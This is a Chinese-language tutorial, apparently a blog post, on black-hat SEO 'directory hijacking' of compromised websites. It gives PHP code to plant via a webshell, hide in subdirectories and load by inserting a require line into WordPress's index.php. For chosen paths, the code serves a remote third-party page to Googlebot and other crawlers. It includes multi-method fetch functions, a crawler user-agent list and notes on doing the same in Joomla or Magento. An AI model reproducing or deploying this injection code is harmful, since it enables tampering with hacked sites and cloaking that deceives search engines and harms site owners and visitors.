嗯。最近比较忙,但是还是得照顾下群内成员,有不少人问,一些黑页指定目录的劫持是怎么做的。
这类是属于基本的黑帽SEO的脚本,当然,不懂程序或者PHP的是不会理解。
我当时随便就发了这么一个帖子。
主要还是利用$_SERVER['REQUEST_URI']
这个函数。
但是呢,还是有人问我,为什么这些目录的SHELL找不到。
郁闷的是,本想回答,是类似wordpress那些系统,通过伪静态,转发到index.php 然后顺着代码去判断就是。 不过想想,万一还有人问,我岂不是会被烦死,于是就有了这一篇。
代码究竟怎么用? 我们先看下简单的黑页代码
<?php
error_reporting(0);
if (ereg("Googlebot", $_SERVER["HTTP_USER_AGENT"])) {
$file = file_get_contents('xxx/xxx.html');
echo $file;
exit;
}
?>
没错,只是简单的判断google蜘蛛,然后获取页面输出。
我们结合REQUEST_URI进行判断一下。
架设我们的黑页html文件链接是这样http://www.davidsbridal.com/sale/sale-wedding-dresses
那么就改成
<?php
if($_SERVER['REQUEST_URI']==="/archives/1680")
{
$file = file_get_contents('http://www.davidsbridal.com/sale/sale-wedding-dresses');
echo $file;
exit;
die;
}
else
{}
?>
我们另存为php文件,上传到shell上。
为了方便,我用自己的网站www.affadsense.com
做为测试
传到网站的目录下,或者隐藏更深点,可以传子目录中去,甚至子目录的子目录中。
很多人不会调用,那么来了,我们代码要发哪里?
我说过,顺着index.php一直找,反正放在头部执行的文件中就行了。
我们看下index.php的代码
<?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );
我们可以调用到wp-blog-header.php 那么要么直接index.php代码加 效果如下
<?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/black.php' );//我们的php黑页代码 require( dirname( __FILE__ ) . '/wp-blog-header.php' );
然后看下页面正常,然后我们打开我们要劫持的那个目录页
https://www.affadsense.com/archives/1680
就已经变成我们的页面了。
而正常的页面应该是这样
我们可以基于以上,进行进一步的代码改造,比如加入蜘蛛的判断
<?php
if($_SERVER['REQUEST_URI']==="/archives/1680"&&ereg("Googlebot", $_SERVER["HTTP_USER_AGENT"]))
{
$file = file_get_contents('http://www.davidsbridal.com/sale/sale-wedding-dresses');
echo $file;
exit;
die;
}
else
{}
?>
这样,判断蜘蛛的基础上进行黑页的劫持。
PHP读取远程网页的方法有很多,curl_init,socket,等等 ,所以为了最好的兼容,建议是添加这些功能进去,然后进行判断调用。
function g_1($url)
{
if (function_exists("file_get_contents") === false)
return false;
$buf = @file_get_contents($url); if ($buf == "")
return false;
return $buf;
}
function g_2($url)
{
if (function_exists("curl_init") === false)
return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
$res = curl_exec($ch);
curl_close($ch);
if ($res == "")
return false;
return $res;
}
function g_3($url)
{
if (function_exists("file") === false)
return false;
$inc = @file($url); $buf = @implode("", $inc);
if ($buf == "")
return false;
return $buf;
}
function g_4($url)
{
if (function_exists("socket_create") === false)
return false;
$p = @parse_url($url); $host = $p["host"];
if (!isset($p["query"]))
$p["query"] = "";
$uri = $p["path"] . "?" . $p["query"];
$ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2)
return false;
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!@socket_connect($sock, $ip1, 80)) {
@socket_close($sock); return false;
}
$req = "GET $uri HTTP/1.0
";
$req .= "Host: $host
";
socket_write($sock, $req);
$buf = "";
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
@socket_close($sock); if ($buf == "")
return false;
list($m, $buf) = explode("
", $buf);
return $buf;
}
function gtd($url)
{
$co = "";
$co = @g_1($url); if ($co !== false)
return $co;
$co = @g_2($url); if ($co !== false)
return $co;
$co = @g_3($url); if ($co !== false)
return $co;
$co = @g_4($url); if ($co !== false)
return $co;
return "";
}
以上代码只是基础的一个单页面劫持,批量的话,又要指定目录,就需要array
功能去弄一堆页面,和对应的路径
然后去foreach循环判断
代码比较简单
function isCrawler() { $agent= strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { $spiderSite= array( "TencentTraveler", "Baiduspider+", "BaiduGame", "Googlebot", "msnbot", "Sosospider+", "Sogou web spider", "ia_archiver", "Yahoo! Slurp", "YoudaoBot", "Yahoo Slurp", "MSNBot", "Java (Often spam bot)", "BaiDuSpider", "Voila", "Yandex bot", "BSpider", "twiceler", "Sogou Spider", "Speedy Spider", "Google AdSense", "Heritrix", "Python-urllib", "Alexa (IA Archiver)", "Ask", "Exabot", "Custo", "OutfoxBot/YodaoBot", "yacy", "SurveyBot", "legs", "lwp-trivial", "Nutch", "StackRambler", "The web archive (IA Archiver)", "Perl tool", "MJ12bot", "Netcraft", "MSIECrawler", "WGet tools", "larbin", "Fish search", ); foreach($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str) !== false) { return true; } } } else { return false; } }
通过AGENT判断,当然,还有更准确的办法就是通过IP来判断,不过这里我就不添加了。 最后整理好的代码我会贴论坛上,当然,我只是蛮写,因为我目前跟小师妹做件事,也没空去找SHELL去测试,有能力的,或者有PHP的程序员的,整合好这样的思路去操作即可。
PHP千变万化,我要是说以上只是基础的,你们会有什么想法吗
当然,目录劫持使用场景主要以index.php或者索引的文件为主,
比如joomla,wordpress,magento,phpfox等等等,一切请求都以某个php文件为主的就行了
我们只要去这个文件,顺着代码一个一个找,在代码的头部中添加即可。
比如wordpress的伪静态规则这种一切请求,都以一个php为主的,都可以实现这种目的,当然,如果没有伪静态,我们可以自己写个伪静态规则去实现,这也是可以的。
对于大神来说,这是简单的,算是对小白的推送吧。
小师妹的公众号码字不易,您的转发和赞赏是我的一大动力之一。
欢迎关注我的公众号,请爱护我,不要抄袭我。
欢迎加入我的论坛,与我们一起交流。
下面是加入小密圈/获取论坛邀请码购买渠道:
小密圈(入圈后私信圈主,看到会私信邀请码):
其他获取方式:
支付宝:
微信支付: